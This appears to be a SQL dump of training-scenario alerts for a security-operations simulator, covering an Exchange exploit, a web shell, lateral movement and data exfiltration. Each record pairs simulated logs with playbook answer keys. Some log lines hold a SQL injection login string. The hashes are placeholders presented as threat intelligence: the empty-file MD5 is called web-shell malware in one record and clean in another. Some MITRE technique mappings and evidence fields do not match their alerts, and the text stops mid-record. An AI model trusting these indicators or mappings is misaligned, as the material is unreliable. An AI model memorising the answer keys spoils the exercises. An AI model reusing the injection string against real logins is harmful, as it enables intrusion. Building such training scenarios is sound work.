INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(596, 'Suspicious Access to Exchange Server', 'high', 'Exchange Server logs', 'Initial access attempt detected on the Exchange server via CVE-2021-34473 exploitation. An unauthorized request was made from a suspicious external IP address, potentially setting the stage for further attacks.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:03:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.10.5\",\"destination_port\":\"443\",\"username\":\"unauthorized_user\",\"action\":\"login_attempt\",\"status\":\"failed\",\"exploit\":\"CVE-2021-34473\",\"file_accessed\":\"/owa/auth.owa\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\"}', '2026-01-08 22:15:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT groups targeting Exchange servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal Exchange server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Exchange Server\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in the directory.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/owa/auth.owa\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Logs\",\"verdict\":\"suspicious\",\"details\":\"File frequently targeted in Exchange exploits.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.232Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:03:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"destination_port\\\":\\\"443\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"exploit\\\":\\\"CVE-2021-34473\\\",\\\"file_accessed\\\":\\\"/owa/auth.owa\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.232Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:03:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"destination_port\\\":\\\"443\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"exploit\\\":\\\"CVE-2021-34473\\\",\\\"file_accessed\\\":\\\"/owa/auth.owa\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.232Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:03:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"destination_port\\\":\\\"443\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"exploit\\\":\\\"CVE-2021-34473\\\",\\\"file_accessed\\\":\\\"/owa/auth.owa\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.232Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:03:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"destination_port\\\":\\\"443\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"exploit\\\":\\\"CVE-2021-34473\\\",\\\"file_accessed\\\":\\\"/owa/auth.owa\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.232Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:03:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"destination_port\\\":\\\"443\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"exploit\\\":\\\"CVE-2021-34473\\\",\\\"file_accessed\\\":\\\"/owa/auth.owa\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(597, 'Web Shell Deployment Detected', 'high', 'Web server logs', 'A web shell has been deployed on the server, allowing remote execution of commands by attackers. This indicates a severe security breach that needs immediate attention.', 'Execution', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"method\":\"POST\",\"url\":\"/uploads/webshell.php\",\"http_status\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"uploaded_file\":{\"filename\":\"webshell.php\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"username\":\"admin_user\",\"session_id\":\"abcd1234efgh5678ijkl\"}', '2026-01-08 22:15:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"webshell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Incident Response Team\",\"verdict\":\"malicious\",\"details\":\"File identified as web shell\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"MD5 hash associated with known web shells\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Admin account used for unauthorized access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.234Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/uploads/webshell.php\\\",\\\"http_status\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"uploaded_file\\\":{\\\"filename\\\":\\\"webshell.php\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"username\\\":\\\"admin_user\\\",\\\"session_id\\\":\\\"abcd1234efgh5678ijkl\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.234Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/uploads/webshell.php\\\",\\\"http_status\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"uploaded_file\\\":{\\\"filename\\\":\\\"webshell.php\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"username\\\":\\\"admin_user\\\",\\\"session_id\\\":\\\"abcd1234efgh5678ijkl\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.234Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/uploads/webshell.php\\\",\\\"http_status\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"uploaded_file\\\":{\\\"filename\\\":\\\"webshell.php\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"username\\\":\\\"admin_user\\\",\\\"session_id\\\":\\\"abcd1234efgh5678ijkl\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.234Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/uploads/webshell.php\\\",\\\"http_status\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"uploaded_file\\\":{\\\"filename\\\":\\\"webshell.php\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"username\\\":\\\"admin_user\\\",\\\"session_id\\\":\\\"abcd1234efgh5678ijkl\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.234Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/uploads/webshell.php\\\",\\\"http_status\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"uploaded_file\\\":{\\\"filename\\\":\\\"webshell.php\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"username\\\":\\\"admin_user\\\",\\\"session_id\\\":\\\"abcd1234efgh5678ijkl\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(598, 'Privilege Escalation via CVE-2021-34523', 'high', 'Event logs and security logs', 'An attacker exploited CVE-2021-34523 to escalate privileges on the server, potentially allowing persistent access. The attacker used a crafted exploit to gain elevated privileges, moving from a standard user account to an administrative account. This action solidifies their foothold within the network, facilitating further malicious activities.', 'Persistence', 'T1068: Exploitation for Privilege Escalation', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_id\":4624,\"event_source\":\"Microsoft-Windows-Security-Auditing\",\"event_type\":\"Logon\",\"user\":{\"target_user\":\"admin_user\",\"target_domain\":\"CORP\",\"target_logon_id\":\"0x3e7\"},\"logon_type\":2,\"logon_process\":\"User32 \",\"authentication_package\":\"Negotiate\",\"source_ip\":\"203.0.113.45\",\"source_port\":60000,\"target_ip\":\"10.0.0.25\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"vulnerability_exploited\":\"CVE-2021-34523\"}', '2026-01-08 22:15:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"suspicious\",\"details\":\"Hash observed in suspicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Legitimate administrative user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.235Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":4624,\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"user\\\":{\\\"target_user\\\":\\\"admin_user\\\",\\\"target_domain\\\":\\\"CORP\\\",\\\"target_logon_id\\\":\\\"0x3e7\\\"},\\\"logon_type\\\":2,\\\"logon_process\\\":\\\"User32 \\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"source_port\\\":60000,\\\"target_ip\\\":\\\"10.0.0.25\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-34523\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.235Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":4624,\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"user\\\":{\\\"target_user\\\":\\\"admin_user\\\",\\\"target_domain\\\":\\\"CORP\\\",\\\"target_logon_id\\\":\\\"0x3e7\\\"},\\\"logon_type\\\":2,\\\"logon_process\\\":\\\"User32 \\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"source_port\\\":60000,\\\"target_ip\\\":\\\"10.0.0.25\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-34523\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.235Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":4624,\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"user\\\":{\\\"target_user\\\":\\\"admin_user\\\",\\\"target_domain\\\":\\\"CORP\\\",\\\"target_logon_id\\\":\\\"0x3e7\\\"},\\\"logon_type\\\":2,\\\"logon_process\\\":\\\"User32 \\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"source_port\\\":60000,\\\"target_ip\\\":\\\"10.0.0.25\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-34523\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.235Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":4624,\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"user\\\":{\\\"target_user\\\":\\\"admin_user\\\",\\\"target_domain\\\":\\\"CORP\\\",\\\"target_logon_id\\\":\\\"0x3e7\\\"},\\\"logon_type\\\":2,\\\"logon_process\\\":\\\"User32 \\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"source_port\\\":60000,\\\"target_ip\\\":\\\"10.0.0.25\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-34523\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.235Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":4624,\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"user\\\":{\\\"target_user\\\":\\\"admin_user\\\",\\\"target_domain\\\":\\\"CORP\\\",\\\"target_logon_id\\\":\\\"0x3e7\\\"},\\\"logon_type\\\":2,\\\"logon_process\\\":\\\"User32 \\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"source_port\\\":60000,\\\"target_ip\\\":\\\"10.0.0.25\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"vulnerability_exploited\\\":\\\"CVE-2021-34523\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(599, 'Lateral Movement Detected in Network', 'high', 'Network traffic analysis', 'The attackers are moving laterally through the network, using compromised credentials and exploiting trust relationships to access additional systems.', 'Lateral Movement', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"LM-0456\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.50\",\"attacker_ip\":\"203.0.113.45\",\"compromised_user\":\"jdoe\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"network.exe\",\"protocol\":\"HTTP\",\"action\":\"Successful Login\",\"description\":\"User jdoe from IP 192.168.1.25 accessed 192.168.1.50 using compromised credentials. Network traffic analysis reveals communication with external IP 203.0.113.45 and transfer of suspicious file network.exe with hash 5d41402abc4b2a76b9719d911017c592.\"}', '2026-01-08 22:15:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Common internal IP used by workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP of target workstation within internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in unauthorized access attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"network.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File identified as malware used for spreading within the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(600, 'Data Exfiltration via Unusual Channels', 'high', 'Data loss prevention logs', 'Sensitive data was exfiltrated using encrypted channels, indicating a potential ransom demand or further exploitation. The data was sent to an external IP known for malicious activities. The file \'customer_data_backup.zip\' was detected leaving the network from an internal host using unusual ports.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:24:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.54\",\"protocol\":\"HTTPS\",\"port\":443,\"filename\":\"customer_data_backup.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"event\":\"data_exfiltration_attempt\",\"encryption\":\"TLS\",\"alert_id\":\"EXFIL-12345\"}', '2026-01-08 22:15:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host used for data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data theft.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"customer_data_backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Data Loss Prevention System\",\"verdict\":\"suspicious\",\"details\":\"Unusual file transfer detected.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.238Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.54\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"port\\\":443,\\\"filename\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"encryption\\\":\\\"TLS\\\",\\\"alert_id\\\":\\\"EXFIL-12345\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.238Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.54\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"port\\\":443,\\\"filename\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"encryption\\\":\\\"TLS\\\",\\\"alert_id\\\":\\\"EXFIL-12345\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.238Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 